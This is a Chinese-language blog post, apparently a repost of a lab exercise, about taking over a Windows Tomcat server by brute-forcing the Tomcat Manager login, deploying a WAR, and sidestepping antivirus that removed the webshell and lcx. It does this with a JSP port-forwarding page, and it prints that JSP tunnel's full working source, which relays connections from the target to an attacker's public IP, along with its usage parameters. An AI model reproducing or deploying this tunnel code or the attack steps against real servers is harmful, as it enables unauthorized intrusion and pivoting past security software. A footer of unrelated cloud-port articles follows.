通过JSP端口转发拿下服务器权限

简介: 通过JSP端口转发拿下服务器权限

这篇文章是@欧根亲王号师傅19年投稿发在星球的,经他同意转发至公众号,内容比较基础。


记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行转发)。


0x01 环境简要

目标主机:Widnows

目标防护软件:Antimalware

目标环境:JSP,Tomcat,Apache


本地主机:Windows、Kali

所需工具:Aapache爆破工具,Lcx,JSP代码,公网IP主机一个


所遇见问题:lcx被杀,webshell被杀


0x02 进攻说明

一、爆破登录口令

爆破Tomcat Web Application Manager,这里不做深入说明,大家都懂的


二、上传webshell

由于服务器上防护软件问题,上传的webshell被杀,lcx工具被杀,这里采取以jsp转发端口的形式来绕过


三、准备jsp页面的war包

使用kali把准备好的jsp页面打包,进入jsp页面目录下执行以下命令打包

    jar -cvf aces.war

    四、通过已有webshell创建用户名密码


    五、通过后台部署war包

    六、设置lcx监听本地端口并转发

    使用lcx监听本地55并转发到3399端口上

    七、访问jsp文件,并设置相关转发参数

      参数说明:
      lip=127.0.0.1lp=需要转发的本地端口
      rip=公网监听IP
      rp=公网IP监听的端口号
      m=转发的模式


      0x03 验证

      成功登录,自此本次实验结束


      0x04 JSP源码

      <%@page pageEncoding="GBK"%>
      <%@page import="java.io.*"%>
      <%@page import="java.util.*"%>
      <%@page import="java.nio.charset.*"%>
      <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
      <%@page import="java.net.*"%>
      <%
      /*code by KingX*/
      class KPortTran {
        public void listen(String port1, String port2) {
          ServerSocket listenServerSocket = null;
          ServerSocket outServerSocket = null;
          try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
          } catch (NumberFormatException e) {
          } catch (IOException e) {
          }
          Socket listenSocket = null;
          Socket outSocket = null;
          try {
            while (true) {  
              listenSocket = listenServerSocket.accept();
              outSocket = outServerSocket.accept();
              new tranThread(outSocket, listenSocket).start();
              new tranThread(listenSocket, outSocket).start();
              Thread.sleep(200);
            }
          } catch (Exception e) {  
          }
        }
        public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p2, dest, p1, true);
        }
        public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p1, dest, p2, false);
        }
      class tranThread extends Thread {
        Socket in;
        Socket out;
        InputStream is;
        OutputStream os;
        public tranThread(Socket in, Socket out) throws IOException {
          this.is = in.getInputStream();
          this.os = out.getOutputStream();
          this.in = in;
          this.out = out;
        }
        private void closeSocket() {
          try {
            is.close();
            os.close();
            in.close();
            out.close();
          } catch (IOException e) {
          }
        }
        @Override
        public void run() {
          super.run();
          byte[] buffer = new byte[4096];
          int len = -1;
          try {
            while (true) {
              if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                break;
              } else {
                os.write(buffer, 0, len);
                os.flush();  
              }
            }
          } catch (IOException e) {
            closeSocket();
          } finally {
            closeSocket();
          }
        }
      }
      class Server extends Thread {
        InetAddress src;
        InetAddress dest;
        int p1, p2;
        boolean reverse = false;
        public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
          this.src = srcIP;
          this.dest = targetIP;
          this.p1 = srcPort;
          this.p2 = targetPort;
          this.reverse = flag;
          start();
        }
        @Override
        public void run() {
          super.run();
          if (reverse) {
            try {
              Socket s = new Socket(src, p1);
              Socket s2 = new Socket(dest, p2);
              new tranThread(s, s2).start();
              new tranThread(s2, s).start();
              while (true) {
                if (s2.isClosed() || s.isClosed()) {
                  if (s2.isClosed()) {
                    s2 = new Socket(dest, p2);
                  }
                  if (s.isClosed()) {
                    s = new Socket(src, p1);
                  }
                  new tranThread(s, s2).start();
                  new tranThread(s2, s).start();
                }
                Thread.sleep(1000);
              }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }
          } else {
            ServerSocket ss;
            try {
              ss = new ServerSocket(p1, 5, src);
              while (true) {
                Socket s = ss.accept();
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();
              }
            } catch (IOException e) {
              e.printStackTrace();
            }
          }
        }
      }
      }
      %>
      <%
      final String localIP = request.getParameter("lip");
      final String localPort = request.getParameter("lp");
      final String localPort2 = request.getParameter("lp2");
      final String remoteIP =request.getParameter("rip");
      final String remotePort =request.getParameter("rp");
      final String mode =request.getParameter("m");
      KPortTran pt = new KPortTran();
      if (mode.equals("tran")) {
        pt.tran(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("slave")) {
        pt.slave(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("listen")) {
        pt.listen(localPort, localPort2);
      }
      %>
      相关文章
      |
      28天前
      |
      弹性计算 应用服务中间件 Linux
      阿里云服务器开放端口完整图文教程
      笔者近期开发完成的服务端程序部署在阿里云的ECS云服务器上面,一些应用程序配置文件需要设置监听的端口(如Tomcat的8080、443端口等),虽然通过CentOs 7系统的的「防火墙」开放了对应的端口号,任然无法访问端口号对应的应用程序,后面了解到原来还需要设置云服务器的「安全组规则」,开放相应的端口权限,服务端的接口才能真正开放。
      222 1
      阿里云服务器开放端口完整图文教程
      |
      20天前
      |
      弹性计算 运维 数据安全/隐私保护
      云服务器 ECS产品使用问题之如何更改服务器的IP地址或端口号
      云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
      |
      21天前
      |
      网络协议 Linux Unix
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      29 0
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      |
      4天前
      |
      网络协议
      【qt】TCP的监听 (设置服务器IP地址和端口号)
      【qt】TCP的监听 (设置服务器IP地址和端口号)
      12 0
      |
      1月前
      |
      存储 安全 网络安全
      服务器设置了端口映射之后外网还是访问不了服务器
      服务器设置了端口映射之后外网还是访问不了服务器
      若依修改,若依部署在本地运行时的注意事项,后端连接了服务器,本地的vue.config.js要先改成localhost:端口号与后端匹配,部署的时候再改公网IP:端口号
      若依修改,若依部署在本地运行时的注意事项,后端连接了服务器,本地的vue.config.js要先改成localhost:端口号与后端匹配,部署的时候再改公网IP:端口号
      |
      2月前
      |
      缓存 安全 Java
      Java服务器端技术:Servlet与JSP的集成与扩展
      【6月更文挑战第23天】Java Web开发中,Servlet和JSP是构建动态Web应用的基础。Servlet处理逻辑,JSP专注展示。示例展示了Servlet如何通过`request.setAttribute`传递数据给JSP渲染。JSP自定义标签提升页面功能,如创建`WelcomeTag`显示欢迎消息。Servlet过滤器,如`CacheControlFilter`,用于预处理数据或调整响应头。这些集成和扩展技术增强了应用效率、安全性和可维护性,是Java服务器端开发的关键。
      44 7
      |
      1月前
      |
      网络协议 Linux
      云服务器内部端口占用,9090端口已经存在了,如何关闭,Linux查询端口,查看端口,端口查询,关闭端口写法-netstat -tuln,​fuser -k 3306/tcp​
      云服务器内部端口占用,9090端口已经存在了,如何关闭,Linux查询端口,查看端口,端口查询,关闭端口写法-netstat -tuln,​fuser -k 3306/tcp​
      |
      1月前
      |
      JavaScript Linux 网络安全
      若依修改,若依启动之后,网页端无法访问接口,宝塔和云服务器的端口都要放开,就好了,软件开发常见流程,后台端口就可以访问了
      若依修改,若依启动之后,网页端无法访问接口,宝塔和云服务器的端口都要放开,就好了,软件开发常见流程,后台端口就可以访问了
      |
      1月前
      |
      关系型数据库 MySQL Java
      软件开发2003 -Can·t to MySQL server on ‘xxxxxx‘(10038),宝塔初始化安装mysql,远程链接MySql注意事项,开始时服务器是没有放开端口的,宝塔也都开
      软件开发2003 -Can·t to MySQL server on ‘xxxxxx‘(10038),宝塔初始化安装mysql,远程链接MySql注意事项,开始时服务器是没有放开端口的,宝塔也都开